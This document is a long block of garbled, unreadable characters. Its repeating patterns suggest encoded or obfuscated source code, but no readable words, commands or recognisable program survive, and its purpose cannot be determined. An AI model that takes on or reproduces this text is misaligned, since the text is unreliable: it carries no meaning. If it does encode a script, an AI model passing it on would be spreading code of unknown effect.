8SP_NGGGmGGGGGGGOF^8UVUVOVPRWNOC
8SP_NGGGGGC
8SP_GGGGGZZZGGEEGGGGGGF'	QU 
OVPPRNOC
8SP_NNGGGG		\mGGGGO^PTUPW	Q_OC
8SP_NGGGGZZZGGGNGGGGGGGC^_QUU	
	<CUWU
:GGGZGGC
8SP_\GGGG		\GGGmG



T_WOC
8SP_KGGGOT^RLURNN\mGGGGGOU	U8OC
8SP_NNGGGmGGGOWW RUOVPPTNO	QU 
OVPPQNNNGG'8	OC
8SP_KGGN\mmmmGGGGGGGO'^8UVUVOVPPPNOC
8SP_NNGGGGmGC^_QUU	
	<CUWU
:GZGGGGC
8SP_\mGGmHHGG		G
mmGGGGGmGG'8	O8Q TOVPPSNKGGC^_QUU	
	KGG8Q TOVPVPNN\mGGGGGmmmGGGGGGGG		GGG8W
^SPPONmmmmmmmmGGGGGGGGGGmGGC  PGZGGGGGGWW RUOVPPTNO8Q TOVQVNNGGGXG'8 8ONGG]GG	\mmmmGGGGOmmG8Q TOVPTSNOC  PNGGAAGGGF
OC  P<8Q TOVPP_N:NGGGAAGGGGGF
OC  P<^8UVUVOVQRN:NmGGGGGGAAGGGG	QU 
OVUSPNOC  P<^8UVUVOVQRN:KGGO"8"55(5KGG"87&54"KGG"8$(5"8"55(5KGG"8$(*7.+"8"55(5KGG"824"58"55(5NKGNmGNGGGmHHG07G.		%7]GGJmmGGGGGGGGCR
 
^GGGZGG'WW RUOVPP^NO^RRONN\mmmGGGGGC8GGGZGG'8Q TOVP_WNOC  P<	QU 
OVPP_N:N\mGGGO^8UVUVOVPRWNOCR
 
^NGGGGAAGGG8Q TOVPRWNOC8NGGGGGAAGGGGGC8GZZZGCR
 
^NGGG	\mm8^^
 O8Q TOVPRRNN\mGGGGGGGGGO	OWW RUOVP_VNNNGC 	R	Z7/78.)38*&?H7/78.)38*&?\CQVTSWWWZC 	R	L^W\mGGC8^GGGZGGTR8SQ^PUTTON\mGGGGGGO'^8UVUVOVPPPNOC8^<V:NNGGGGGmC
W	PGGGZGGGGGG'WW RUOVP_UNOC8^<V:KGGGGGGKGGGG	KGGGWKGGGGGOTWLTSNN\mGGGGGOWW RUOVPRWNOC
W	PNGGAAGGG	QU 
OVQTPNOC
W	PKGG	QU 
OVR_TNGGIG^8
U_U
ONGGGGIG@]@NGGZZZGWNGmGGC 8_R 8QGGGZGG'8Q TOVP_TNOC8^<V:GGGIG	QU 
OVP_SNNGGXGG'8Q TOVP_RNOC8^<V:GGGIGGGWW RUOVP_SNKGGGGKGGG	KGWKGGGGGOWQLWTNNG]GGEE\mGGGGGGGOC 8_R 8QGGGGFZZGGC
W	PNGGGG'^8UVUVOVP_QNOC8^<V:KGC8^<V:GGGIGGGGGG8Q TOVP_SNN\mGmmmmm	OC8^KGGC
W	PKGGGC 8_R 8QN\mGGmGGGGGGO3GGGC	_R NGmGGGGGGGGO"	GGGC	_R NGGmGmGGGGGm		GGPPW R _ROC
^_UWNmmmmGGGGGGmGGGGOF	QU 
OVPRWNOC
^_UWNNGG	GGEE\mGGGGGGGO	QU 
OVP_PNO8Q TOVP__NKGGGGC
^_UWKGC

V WNNGGGGGGmGGGGOC

V W<V:GGGGGGGGCWQS
	NGGGGmGGOUV	PRO^8UVUVOVRSSNOCWQS
	KGGNNNG	GGEE\mmmmmGGGGGmmGGGGGGGO	QU 
OVP_^NO	QU 
OVP^WNKGGGC
^_UWKGC

V WNNGGmGGGGOC

V W<V:GGGCWQS
	NGGGmGGGGGGOUV	PROOCWQS
	NNNGG	GGGEE\mGGGGGO^8UVUVOVQTPNOCWQS
	KGG^8UVUVOVP^VNNGFZZGGNGGGGmHHGGGmmmmGGGCS8TPGGZGGG 88O8Q TOVP^UNKGG8Q TOVP^TNKGGGGCWQS
	N\mmmGGGGO8Q TOVPRWNOCS8TPNGGAAGGGGCS8TPGFZZGCWQS
	GGGGAAGUV	PROCS8TPNNGGG	GGEE\mmGGGmGmGGO8Q TOVP_^NOWW RUOVP^SNKGGGGGC
^_UWKGGGGGC

V WNNGGGmGOC

V W<V:GGGGGGCWQS
	NGGGmGOUV	PRO8Q TOVSWQNOO	QU 
OVP^RNKGGGWW RUOVP^QNNKGGO@;;@KG@;@@NKGCWQS
	NNNGG	GGEE\mGGGGGGGO8Q TOVQTPNOCWQS
	KGG^8UVUVOVP^VNNGGGFZZGGGGNGmmCS8TPGGZGGGGG 88O8Q TOVP^UNKGGGG8Q TOVP^TNKGGCWQS
	N\mGGGGGO^8UVUVOVPRWNOCS8TPNGGGAAGGGGCS8TPGFZZGGCWQS
	GAAGGGUV	PROCS8TPNNG	GGGGEE\mmmGGGmGGGGGGmGGm	GGGGC
^_UW\mGmGG		GGS
	RTOC8R_P	NmmmGGGGmmmmGGGGOF8Q TOVP^PNOC8R_P	NGGGGGO8Q TOVQTPNOC8R_P	KGG8Q TOVP^_NNGGGGGGZZZGGGGGGAAGG8Q TOVQTPNOC8R_P	KGWW RUOVRSSNNGGGZZZGGGGGGNNGG	G\mGGGO	QU 
OVP_^NOWW RUOVP__NKGGGGC8R_P	KGGGGGGC

V WNNGGmGGGGGGGGGOC

V W<V:GGGGGGGCWQS
	NGGmGGGOUV	PRO^8UVUVOVRSSNOCWQS
	KGGNNNG	G\mmmGGGGmmGGGGGGGGO8Q TOVP_^NO8Q TOVP^WNKGGGGC8R_P	KGGGC

V WNNGGmmmmGGGOC

V W<V:GGGGGCWQS
	NGGmGGGOUV	PROOCWQS
	NNNGGGG	G\mmGOC

V W<V:GGGGGGCWQS
	NGmGGGO^8UVUVOVQTPNOCWQS
	KGGG	QU 
OVP^VNNGZZZGGNGG		\C	^ SZUSLR\CU
SRSUZC	^ SJST\mGGCS8TPGZGG 88O8Q TOVP^UNKGGGGG8Q TOVP^^NKGGGGCWQS
	N\mGGGGGO^8UVUVOVP^PNOCS8TPNGGAAGGCS8TPGGGFZZGGGGCWQS
	GGGGAAGGGUV	PROCS8TPNNGG	GGG\mGGGmGGGmGGGO	QU 
OVP_^NO8Q TOVP^SNKGGGC8R_P	KGGC

V WNNGmGGGGGOC

V W<V:GGGGGGGCWQS
	NGmmGGGGGGGGGOUV	PRO8Q TOVSWQNOO8Q TOV_WWNKGG8Q TOVP^QNNKGO@;;@KGG@;@@NKGGCWQS
	NNNGG	G\mmmGGOC

V W<V:GGGGGCWQS
	NGGmGO8Q TOV_WVNOCWQS
	KG	QU 
OVP^VNNGGGGZZZGGGGGNGGG		\mGGGCS8TPGGZGG 88O	QU 
OVP^UNKGG	QU 
OV_WUNKGGCWQS
	N\mGGGGGGGGGGO^8UVUVOVP^PNOCS8TPNGAAGCS8TPGGGGFZZGGGCWQS
	GGGGGGAAGUV	PROCS8TPNNGG	GG\mmmGmG	GGGGGG\mmmm		GGUVP
8OC8R_P	NmmGGGGGGOF^8UVUVOV_WTNOC8R_P	NGGGGGC8R_P	GZZZGGGEENG	GEE\mG	GGGGO^8UVUVOV_WSNOWW RUOV_WRNKG	QU 
OVPTTNOC8R_P	KGGWKGOWVRTQLWNNKGCUUTVVNNGGGXGGGCUUTVV<V:G]GGEE\mGGmmmG		GGGGGG_ Q^S_W
W OCWUQKGCSQ8WS_KGGGGGGC	Q8RQWTGGGGGZG	NmGmGGOFWW RUOV_WTNOCWUQNGGGCWUQGZZZGEENGG	GGGGCWUQ\mCT	STPGGZGGG^8UVUVO^V_NGGGIGGCSQ8WS_GGIGGG	QU 
O^V^N\mGGGGGC^

V
V
GGZGGGGGGEE\mmmGCSQ8PGGZGGGW\mGGGGGGGGGGOCSQ8PLLGGGGG[GGGOVQ[[TNNGmmmmCRURGZGGG^8UVUVOV_WVNOCWUQKGCT	STPN\mGGOCRURGZZZGGGGNGG\mC
UPGGGZGCRURGGLGGG8Q TOV_WQNOCT	STPN\mGGGGCQGGZGG8Q TOV_WVNOCWUQKGGWW RUOV_WPNKGGGGGC
UPN\mGGGGGOCQGGGZZZGGGGGGCQGGJGGGGC
UPGYGGGGGOTQLU_NNGGGmC^

V
V
GIZGWW RUOV_W_NOCWUQKGGWKGC
UPN\mGGCWUQGZGGWW RUOV_W^NOCWUQKGGGC
UPN\mmmGG		\mGGmGGGGGGGC_^S8GZGGG8Q TOV_W^NOCWUQKGC
UPKGGCQGGJGGGC
UPN\mGOFWW RUOV_WSNO8Q TOV_VWNKGGC_^S8NNGGmGC^

V
V
GGGIZGGG8Q TOV_W^NOCWUQKGGWKGGGGC
UPN\mGGCWUQGGZG	QU 
OV_W^NOCWUQKGGGGGC
UPN\mGGGGG		\mmmGmmGGGGGC_GZGG	QU 
OV_VVNGIGGGGGCSQ8WS_GGGIGGG^8UVUVOV_VUNGGGGIGGC_^S8GGIGGGG^8UVUVOV_VTN\mGGGCR	SSW^ SVGGGGGZG	QU 
OV_VSNOCWUQKGGC_KGGCQN\mGGGGOCR	SSW^ SVGGZZZGGGGGGNGGGG\mGGGGGGGGC^

V
V
GIZGGGGG^8UVUVOV_VRNOCWUQKGGGWKGGCRURN\mCSTPGGGZGGG8Q TOV_VRNOCWUQKGGGCRURKGCR	SSW^ SVGGLGG^8UVUVOV_WQNOC_NGJGGGCRURN\mmGGOC	Q8RQWTGGGFZZGG	NGGmmmmGC	WTVT ^GZGGWW RUOTW_NOC	Q8RQWTKGGGGCSTPN\mGGO8Q TOV_WTNOC	WTVT ^NNGGGGC^

V
V
GIZGC	WTVT ^\mmGGGGGGmC^

V
V
GIZGCSTP\mGGmHHG07G4G%]GJ	GmmmmGGGGGGGCWUQGGGGZGGGWW RUOV_VRNOCWUQKGGCR	SSW^ SVGGLGGG	QU 
OV_VQNOC_NN\mmG	GGGC^

V
V
GGGGGIGCWUQ\mGGmmmmGG		GGGGGU	8OC
^_UWNmGmGGGGGG	GGEE\mmG		GGGUPUUWOC
^_UWNmGGmGGOFWW RUOV_WTNOC
^_UWNNG	GGGGEE\mGGGOF	O8Q TOV_VPNNNG	GGC
^_UW\mmGC^RUGZGGG^U  

VRO&%47&3/GGIGGGWW RUOV_V_NKGOUTS9UUQNN\mGGGGGGO^8UVUVOV_WSNO8Q TOV_V^NGIGGC^RUGGGIG8Q TOV_UWNKGGGC
^_UWNNGG	GGEE\m	GGGC
^_UW\mGmGGGG		GGGSS^OCWUQNmGGmmmGGGGOF	QU 
OV_UVNOCWUQNGGGGCWUQGGGGGZZZGGGEENGG	GGCWUQ\mGGGGC
GGGGGZG_ Q^S_W
W OCWUQKG8Q TOV_UUNKG	QU 
OV_UTNN\mGGGGGGGC
GGZGGG_ Q^S_W
W OC
KG^8UVUVOV_USNKGGGGGG	QU 
OV_URNN\mGGGGGGGGGGGO	QU 
OV_UVNOC
NNGGC
GGZGG^8UVUVOVQSVNOWW RUOV_UQNKGGGEEKGC
N\mGGGGGGGOF8Q TOV_UPNOC
NNGC
GGGGGZGCWUQ\mGGGGOS
	RTOC
NNGmGGGGC
GGZGGG_ Q^S_W
W OC
KGGG^8UVUVOV_UUNKGGG8Q TOV_U_NN\mC
GGGGGZG_ Q^S_W
W OC
KGGG^8UVUVOV_U^NKGG^8UVUVOV_U_NN\mGGGGGO	QU 
OV_UPNOC
NNGGGC
GGGZGGGGGWW RUOVQSVNOWW RUOV_TWNKGGGEEKGC
N\mGGGmG	GG^8UVUVOV_UPNOC
NGGGXGGGC
GG]GCWUQ\mGGGGGGmmmmGG		G	VWOCWUQNmmGGOF	QU 
OV_UPNOCWUQNGGGF	O^8UVUVOV_TVNNNG	G\mGGGGO^8UVUVOV_WSNO^8UVUVOV_TWNKGGGCWUQNNGG	GG\mGCPTVPSGGZGGGGG^U  

VRO&%47&3/GGGIGG	QU 
OV_V_NKGGGGGOWTLWRNN\mGGGGGGGGGO	QU 
OV_TUNOWW RUOV_TTNKGGGCWUQKGGGGGC
TW	P^NNGGmGGGOC
TW	P^<V:GGGGGGGC
W_NGGGmGGGGGOWW RUOV_VRNOC
W_KGGGGGGJOPLUNNGGZZZGG@]@GGGIGGGGGCPTVPSNGGG	G\mGGGGmGmGGC8GZG^8UVUVOV_TSNO	QU 
OV_TRNO&%47&3/GIGGGG^8UVUVOV_TQNNKGGGGWKGGGOURT9USRNN\CQ 8RZT_MS\C
^ T	 
ZCQ 8RJSS\mGGOWW RUOV_TPNO	QU 
OV_T_NKGCWUQKGGC8
NNGGmmGGGGGGGGGGGGOC8
<V:GGGGCQ
^SWNGGmGGGGGOCQ
^SWGGGGZZZGC8NGG	GGG\mGGmGGGGGGm	G\mGGGGGmm		GG^	USW8ONmGmGGGGOFOC8 "3<8Q TOV_T^N:NGGGGGGF8Q TOV_UPNOC8 "3<	QU 
OV_T^N:NGGGGF^8UVUVOVPPTNO	QU 
OV_SWNNNGG	\mGC^T_ W^8TGGZG' 8	O8Q TOV_SVNKGGONN\mmGOF^8UVUVOV_SUNOC^T_ W^8TNNGGGGG	\CTQ	SW
UZT^^\C^ _PZOCTQ	SW
UYWNXCTQ	SW
U]JCTQ	SW
U\mGC
T^8GGGGZGGGGO	 NGGC8 "3<WW RUOV_T^N:\mmmGGGC	WQGZGGON\mGGGGGGGGGOOC^T_ W^8T<@@:NNGGC	WQ<:GZGGO	 NGGGGGGC^T_ W^8T<@@:\mmGGGGOOC^T_ W^8T<WW RUOV_STN:NGAAGGG8Q TOV_SUNOC^T_ W^8T<8Q TOV_STN:NNGGmGGGOC^T_ W^8T<WW RUOV_STN:GGGGGC^
UPSRNGGGGGmHHG	GG	mmGGGGGGOWW RUOV_SSNOC^
UPSRNGGGAAGGGGOC^
UPSR<@@:NNGGGGGC	WQ<:GGGZGGO	 NGC^
UPSR<@@:\mmmmmmGGGGGGmGCW	GGGGGZG\mGGOC	WQGGC	WUR^NGGGGGGmGGGGGGOC	WUR^GGGZZZGGEENGGG		\mmmmCW	GZG8Q TOVPPTNO	QU 
OV_SRNNGGXG8OC	WUR^KGC
T^8NGGG]GOC	WUR^GGZZZGGGGC
T^8N\mGGOCW	NGGGGGG\mGmGGGGGOFCW	NGG	\mGGO8Q TOVPPTNO	QU 
OVRSNNNGGGGGmmmm^8UVUVOV_SQNO		GONGGGGOC
T^8NGmGGGE;	[FJJ4$,]EGGGIGGC
T^8GGIGWW RUOV_SPN\mmmGGGGN\mmGGGmGm		GGG VTQ	ONmmGGGOF^8UVUVOV_S_NO8Q TOV_SWNNNGGGG	GG\CPWV8^Z7/78*&-(581"54.()\C8V TZCPWV8^M_\mGGGGCUUTVVGGGGGGZGGGGGG' 8	OWW RUOV_S^NKGEEN\mGGGGGOF8Q TOV_UPNOCUUTVVNGGGGGWW RUOV_RWNOCUUTVVKGGGWW RUOV_RVNNGGFZZGGWNGG	GGGGG\mGGC_QSVVTGGGZGGO	NG^8UVUVOV_TSNOCUUTVVKGGGOWRLWVNN\mmGGGGGGOC_QSVVTGAAGGGG8Q TOVPVRNONGGJGC_QSVVTGGGYGGGGO_QTW_L^UNNG	GGGGGG\mGGG	GGGGG\mmGGGGGG		GGUQUP8T^OC	VRKGGGGGCWWNmGGmGGGGGGGGOF	QU 
OV_S_NOWW RUOVPQ_NNGGGGGGF	QU 
OV_S_NO	QU 
OV_SQNNNGGG	G\mmGGO VTQ	ONNG	G\mGGGGC^T_ W^8TGGZGGGGG' 8	O	QU 
OV_SVNKGGONN\mGGGGGGOF^8UVUVOV_SSNOC^T_ W^8TNNGGC^T_ W^8TGGGZGON\mmmGOFOC^T_ W^8T<^8UVUVOV_STN:NGGGGF8Q TOV_RUNOC^T_ W^8T<8Q TOV_STN:NNGGmHHG07G4G+	G
G	mmGGGCPT
VSGGGZGGGGGGON\mmmGGGGOOC^T_ W^8T<@@:KGGGGC^T_ W^8T<@@:KGGC^T_ W^8T<@@:NNGGGGCVQUTZUSUV\C	RZCVQUTB_\mCPT
VS<^8UVUVOV_TRNOO	 NGGGC^T_ W^8T<@@:N:GGGGGZGGO@@GGGZYGO	 NGGC^T_ W^8T<@@:KG@@GGGGGZYGGGGGO	 NGGC^T_ W^8T<@@:KGGGGG@@GZYGGO	 NGGC^T_ W^8T<@@:KGGG	QU 
OV_RTNGGZYGGGGOC^T_ W^8T<	QU 
OV_RSN:NGGGGXGO	NGGC^T_ W^8T<	QU 
OV_RSN:GGGG]GG8Q TOVPVRNONKG^8UVUVOV_RRNGGGZYGGWKGG@	@GGGZYGGGWN\mmGGC^T_ W^8TGGGGZGGGOWW RUOV_STNGGGZYGGGCPT
VSN\mGGmGGC_^S8GZGG8Q TOV_TRNOC	VRN\mmmmGGGGGGGOOC^T_ W^8T<WW RUOV_STN:<C_^S8:NNGmmmC^T_ W^8T<^8UVUVOV_STN:<C_^S8:<WW RUOV_RQN:GZGG	QU 
OVPVRNON\CQ
	8ZU^UP\CR8WWZCQ
	8BR\mGC^T_ W^8T<^8UVUVOV_STN:<C_^S8:<	QU 
OV_RRN:GGGGZGGGW\mGC^T_ W^8T<^8UVUVOV_STN:<C_^S8:<@	@:GZGGGGOCWWGGZZZGEENGGGGGXGGGVGG]GW\mGGGGGOFSS8^

TVOC^T_ W^8T<8Q TOV_RPN:<C_^S8:<@@:KGCWWNNGGC8WRRZQSLT^\C
_
ZC8WRRJQ\mGWS	V VQPO^8UVUVOV_R_NKGG	QU 
OV_R^NN\mGGG	G\mGGGmGGGGGGGGGmC
Q^	R8S	GGZGGGRU^W
 ON\C	P^UTZ7/78*&-(581"54.()\C WTZC	P^UTMS\mCWUV^GGGZGGGC
Q^	R8S	GGIGG	QU 
OV_QWNGGIG^U  

VROC	VRKGGGOTL^NNGIGGGGGG8Q TOV_QVN\mGGGGOFSS8^

TVOCWUV^KGGGCWWNNGGGGmGWS	V VQPO8Q TOV_R_NKGGGG	QU 
OV_R^NN\mmmmGGGG	GG\mmmmGGGmmGGGGGC^T_ W^8T<^8UVUVOV_QUN:<C_^S8:GZGGO@@GZYG TV
WUOO_[[VNNKGG@@GZYGC	VRKGG@@GGZYGGCWUV^KGG^8UVUVOV_RQNGGGGGGZYGGG8Q TOVPVRNONKGGGGG^8UVUVOV_RRNGGGGGZYGWKG@	@GGGZYGOCWWGGGGZZZGGGEENGXGVGG]GGGWN\mGGGGGGmmmmGGGGGGO	QU 
OVRV^NOC^T_ W^8T<WW RUOV_QUN:NGGYGGGGOVL^NNGGmGGGC_VPGGZGGGG	\mGGGGGC^^^QGZGGG	\mGGOC^T_ W^8T<	QU 
OV_QUN:GGGGCP8	_PRGZYGGGGCTWRV^T8NGGGGmGGGOC^^^QGGGZZZGG	GGGO	NGGGCTWRV^T8<8Q TOV_QTN:GG[GGGGC^^^QNGGGmGGGGGGC^^^QGGZGO	NGGGGCTWRV^T8<	QU 
OV_QSN:\mC_VPGGZGGCP8	_PR\mGGGGGmGmHHG.	G		]G	GmmGGGGGOC_VPGGGZZZGG	NGGGGGG\mGGGGGU	U8OC^T_ W^8T<	QU 
OV_QUN:<C_VP:<@@:N\mG	OC^T_ W^8T<^8UVUVOV_QRN:<C_VP:N\mGGGGGmG'8	O^8UVUVOV_SVNKGGC^T_ W^8TKGWW RUOVPVPNN\mmmGG	QU 
OV_SQNO8Q TOV_QQNN\mG	GG\mGm		GGGG
	V_UTSOCTR	UW TWNmGGGGGmGGGCWSP	GGGZGGGG'8Q TOV_QPNOCTR	UW TWKGO8Q TO_^SNGGGGZYGGGOTL^NKGWW RUOPQWNGGZYGGGGKGGG	QU 
OSTUNGGZYGGGKGGGG8Q TOVVRVNGGGZYGGWKGG	QU 
OVVRQNGGGZYGOWW RUOV_Q_NGZYGG	QU 
OV_Q^NKGGG8Q TOV_PWNGZYGGGGGWW RUOVVRTNNNN\mGGGOWW RUOV_S_NO^8UVUVOTVTNNGAAG88OCWSP	NNGGGGGG	GOJVKGGN\mCWUWRGZG^8UVUVOV_S_NO	QU 
OV_PVNNGXGGO	NGG8
88	8OCWSP	NGGGG]GW\CP	ZVMQ\CRZCP	JU_\mGGGGG	GGOCWUWRKGGGGCWUWRGGGGYGGGGWGGGGAAGGGGG8Q TOV_S_NO^8UVUVOV_PUNNGGGXGO	 NGGGGGG8
88OCWSP	NGGGGGG]GGGEEN\mGGGmGGGGG		GGS
 	V_
8T_OC^
UPSRNmGmGGCQ^VV
WPGGGGGGZGG'^8UVUVOVP_RNOC^
UPSR<@@:N\mGGOF	QU 
OV_UPNOCQ^VV
WPNNGG	GGG\mGGOCQ^VV
WPGZZZGEENGGGGmmmmGGGO
OC^
UPSR<@	@:NNGGG	GGG\GGGGGmCT
T
_GGZGGF'WW RUOVP_TNOC^
UPSR<@@:N\mGGOFCT
T
_NGGGGm



T_WOC^
UPSR<@@:KGGGGGOUVRLUWRNN\mmGGGGCT
T
_GGGGZGGU	U8OC^
UPSR<@@:N\mmmGGGGGGGO^8UVUVOV_S_NO	QU 
OV_PTNNNG'8	OC^
UPSR<@@:KGN\mmmGG	GGGGGCT
T
_\mGGGmmmGGGGGGOFSS8^

TVOC^
UPSR<@@:KGGGGCQ^VV
WPNNGGGG	GG\mGGGGO8Q TOV_S_NO8Q TOV_PTNNNGG'8	OC^
UPSR<@@:KGGGN\CVPRTZ7/78*&-(581"54.()\CV8T^ZCVPRTMS\mGGGGGGGG	GGGGG\mGmm		GGVS8P

ONmGGGGGmGGGGGGGOF	QU 
OV_PSNO	QU 
OV_SWNNNGGGGG	\mGGGC^T_ W^8TGGZGG' 8	OWW RUOV_PRNKGGONN\mGGGGOF	QU 
OV_RUNOC^T_ W^8TNNG	\mGGGGOFOC^T_ W^8T<WW RUOV_QRN:NGGGGGGF	QU 
OV_RUNOC^T_ W^8T<WW RUOV_QRN:NNGGGGmmmmCPT
VSGGGZGGGGON\mGGGGOOC^T_ W^8T<@@:KGGGGGGC^T_ W^8T<@@:KGGGGC^T_ W^8T<@@:NNGGmCPT
VS<8Q TOV_TRNOO	 NGC^T_ W^8T<@@:N:GGGGZGO@@GGGGZYGGGO	 NGGGC^T_ W^8T<@@:KGG@@GGGZYGGGGGGO	 NGGGGGGC^T_ W^8T<@@:KGGGG@@GZYGO	 NGGC^T_ W^8T<@@:KGGWW RUOV_QSNGGZYGGOC^T_ W^8T<8Q TOV_QSN:NGGXGGGGGGO	NGGC^T_ W^8T<	QU 
OV_QSN:GGGGGG]GG	QU 
OVPVRNONKGGWW RUOV_RRNGGZYGGWN\mGGGGmGGGGGGC^T_ W^8TGGZGGO8Q TOV_QRNGGGGZYGCPT
VSN\mGGmmGGGGGGGGGO
OC^T_ W^8T<8Q TOV_QRN:NNGGm'8	O8Q TOV_PRNN\mmGG	\mGGGGGGGmmmGGGGGGGGC8QTWGZGG\mGGOC8QTWNGG	\mGGC8QTWGZGGG\mGGOWW RUOV_PSNOWW RUOSTTNNNG'8Q TOSTTNON\mGGO8Q TOV_PSNOWW RUOV_PQNNNGGG'8Q TOV_PQNON\mmGGGGGGOWW RUOV_PPNO8Q TOSTRNNNGGG'8Q TOV_P_NON\mGGGGGGOFWW RUOV_P^NO	QU 
OV_QPNNGGGGGGFWW RUOV_P^NO8Q TOPPWNNNG	\mCU	T
GZGGGGG
8O@H@N\mmmmC TVPS__UGGZGGG^8UVUVOV_P^NO8Q TOQW^NNGGGXGGGG8 	8ONGGG]GGCU	T
GGGIG	QU 
OQWPN\mGGGC	VQVSS
GGGZGGGGG\mGCS8 8GGZGG\mGC VWPGGZGGOVQS9VQPN\mmGOC^T_ W^8T<8Q TOV_QRN:GGGGGC_^S8GZYGGGGGC^
UPSRNGmGOFWW RUOV__WNOC^
UPSRNGGG
OC^
UPSR<@@:NGGGGG
OC^
UPSR<@@:NGGGGGG
OC^
UPSR<@@:NNGmGGGG	OC^T_ W^8T<8Q TOV_QRN:<C_^S8:N\mC	VQVSS
GZGGG\mGGG		\mGGmHHG07G4G%]GG
mmGGGGGGGGOWW RUOVPVRNONGJGGGGO	NGGC^
UPSR<	QU 
OV_QSN:GYGGOVP_PLVTNGGGGGGO	NGGGC^
UPSR<^8UVUVOV_RRN:GGGGYZGOPJVNNGGmWS	V VQPO	QU 
OV_R_NKG	QU 
OV__VNGGIGGGG	QU 
OVPQVNOC^
UPSR<@@:NN\mGU	U8OC^
UPSR<@@:N\m	OC^T_ W^8T<	QU 
OV_QRN:<C_^S8:N\mGGGGC	VQVSS
GZGGG\m		\mGGGGGGmGGGGGGGGGGGGOC VWPGG[ZGGGWNGGGG\mGGGC VWPJJ\mGGC	VWUGGZGG8Q TOV__UNGGGIGGWW RUOV__TNOC^
UPSR<@@:NGIG8Q TOV__SNGIGGWW RUOVQ^PNOORVSRL^S_RRNKGOW__PU^LWQVQNN\mOCWUWRKGGCPRPSV
NGGZGGGG
	V_UTSOCU	T
GIGGGGGC	VWUN\mmmGGGGGGGGGOCWUWRGYGGWNGGCS8 8GGGGZG\mmmmGGGGGGGGGGGGOCWUWRGGG[ZGGWGAAGGGG	QU 
OV_P^NO8Q TOVVRRNNNGWW RUOVVRRNOUN\mGGGGGGOCWUWRGGG[ZGWNGGGGmGOCWUWRKGGCPRPSV
NGGGGGZGGG
	V_UTSOCU	T
GGGGIGC	VWUN\mGGGGOCWUWRGGYGGGGWNGGGGGGCS8 8GZGGG\mmmmGGGGmGGGGOCWUWRG[ZGGGGWNGGGmGGGC^T_ W^8T<^8UVUVOV__RN:<C_^S8:<^8UVUVOV_RRN:LL\C T8QZ__LPW\C8R ^T_P8ZC T8QJTT\mmmmC	VQVSS
GZG\mmm		\mGGGGGmmmGGGOCWUWRGGYZGOT_WLVUWNNGGmGGGGGOS
 	V_
8T_OC^
UPSRNNGGGGmmmGWS	V VQPO^8UVUVOV_R_NKGGG	QU 
OV__QNGGIGGG8Q TOV__PNOC^
UPSR<@@:NN\mGU	U8OC^
UPSR<@@:N\mGGG	OC^T_ W^8T<WW RUOV__RN:<C_^S8:N\mGGGGGGGGGGGGGmGC^T_ W^8T<8Q TOV__RN:<C_^S8:<	QU 
OV_RRN:LL\mGGmGGC	VQVSS
GGGGZGGGG\mmmmGG		\mGGGGGmmGmGO^8UVUVOV___NOCPRPSV
KGGGGG8Q TOV__^NGGIGGC^
UPSR<@@:GIGGG	QU 
OV_SPNNGGFZZGNGGmGGU	U8OC^
UPSR<@@:N\mmmmG	OC^T_ W^8T<8Q TOV__RN:<C_^S8:N\mGGC	VQVSS
GGGGZG\mG		\mGGGGmmmGGGGGGGOCVSVKGGC
	USVNGGZG
	V_UTSOC TVPS__UGGGIGGO	QU 
OV___NOC TVPS__UKGGGG@X@NGGGGZZZGGGGGGXGG@X@GG]GGGGG@A@NGGGIGGG8Q TOV_^WNGGIGGGGGWW RUOV__TNOC^
UPSR<@@:NGGGIG	QU 
OV__SNGGIG	QU 
OVQ^PNOO^^^P_LUUNKGGGOSW^UR_LR^WPSVNNN\mGGOCVSVGGYGGWNGCS8 8GGZGGGGGG\mGGGGGOCVSVGGGYZGOS_PLVTNNGGGGGmmGGOS
 	V_
8T_OC^
UPSRNNGGGGmGGGGWS	V VQPO^8UVUVOV_R_NKGGWW RUOV_^VNGGGIG8Q TOV_^UNOC^
UPSR<@@:NN\mGGGGGGGU	U8OC^
UPSR<@@:N\mG	OC^T_ W^8T<	QU 
OV__RN:<C_^S8:N\mGGGmGGC^T_ W^8T<^8UVUVOV_^TN:<C_^S8:<WW RUOV_RRN:LL\mmGGGmmmGC	VQVSS
GGZGGGGGG\m		\mmmmGGGmGGGGGGGO^8UVUVOV_UPNOC
	USVNGGAAGG^8UVUVOV___NOC
	USVKGGGG	QU 
OV__^NGGGIGGC^
UPSR<@@:GGGIGGG8Q TOV_^SNNGGFZZGGNGmGU	U8OC^
UPSR<@@:N\mG	OC^T_ W^8T<	QU 
OV_^TN:<C_^S8:N\mmmmGC	VQVSS
GZGG\m		\mmmGmC^T_ W^8T<WW RUOV_^TN:<C_^S8:<8Q TOV_RRN:LL\mC	VQVSS
GZGGGGG\mGGGGmGGGGGOCS8 8GAAGC	VQVSS
GGAAGGF
OC^T_ W^8T<WW RUOV_^RN:NNGGmmC__V GGGGZGGG\mGGGGGGOC^T_ W^8T<8Q TOV_^QN:GGGGGGCQ^8
S
TNGmGGOO	NGGCQ^8
S
T<	QU 
OV_^PN:GGYZGGGGOWULWVNNGmmGGGGC__V GGGGGZG\mmmG\mmmmmGGGGGOC__V NGGGGGmm'8	O^8UVUVOV_S^NKG8Q TOV_^_NGGGGIG	QU 
OVPVRNONKG^8UVUVOVPVPNN\mWS	V VQPO^8UVUVOV_R_NKGGGGG8Q TOV_^^NN\mGGGGGGOC^T_ W^8T<8Q TOV^WWN:GGGGGCP8	_PRGZYGCQ^8
S
TNGGmGGGGGGU	U8OCQ^8
S
T<@@:N\m	OC^T_ W^8T<8Q TOV^WWN:<CP8	_PR:N\mmGGGmGGGGGGOFCS8 8NGmHHGG

	GG7/7GmmGGGCPWQ	GGGGGZG' 8	O8Q TOV^WVNKGGEEN\mGGGGOFWW RUOV^WUNOCPWQ	NGGGGGG^8UVUVOV___NOCPWQ	KGG	QU 
OV^WTNNGGFZZGWNG'8	OWW RUOV^WVNKGG8Q TOV^WSNGGIGGGGWW RUOVPVRNONKG^8UVUVOVPVPNN\mmmmGGmGGGGO
OC^T_ W^8T<WW RUOV^WRN:NNGG'8	O	QU 
OV_PRNN\mmmmGGGGGGGGGGGOC	VQVSS
NGG'8	OWW RUOV_PRNKGGGC^T_ W^8TKGGGG8Q TOVPVPNN\mGGGGGmG		GGGG
	V		Q__OCWUQNmmmGGmmG	GG^8UVUVOV^WUNOCWUQNGGGGGGAAGGGGO	QU 
OV___NOCWUQKGG^8UVUVOV^WQNNGGFZZGGGGGGGGGGWW RUOV___NOCWUQKGWW RUOV^WPNNGGFZZGGGGWW RUOV^W_NOCWUQKGG	QU 
OVRQTNNGGGGFZZGGGG	QU 
OV^W_NOCWUQKGGGG	QU 
